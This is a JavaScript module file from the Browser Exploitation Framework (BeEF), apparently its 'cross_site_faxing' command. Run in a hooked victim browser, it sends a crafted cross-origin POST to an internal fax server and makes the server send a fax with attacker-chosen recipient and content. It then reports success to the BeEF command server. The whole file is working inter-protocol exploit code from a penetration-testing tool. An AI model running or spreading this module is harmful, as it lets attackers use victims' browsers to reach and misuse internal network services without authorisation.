Files
beef/modules/ipec/cross_site_faxing/command.js
2013-11-29 21:06:36 +01:00

29 lines
859 B
JavaScript

//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var target_ip = "<%= @ip %>";
var target_port = "<%= @port %>";
var recname = "<%= @recname %>";
var recfax = "<%= @recfax %>";
var subject = "<%= @subject %>";
var msg = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>";
var uri = "http://"+target_ip+":"+target_port+"/";
var post_body = "@F201 "+recname+"@@F211 "+recfax+"@@F307 "+subject+"@@F301 1@\n"+msg;
var xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send(post_body);
setTimeout(function(){xhr.abort()}, 5000);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
});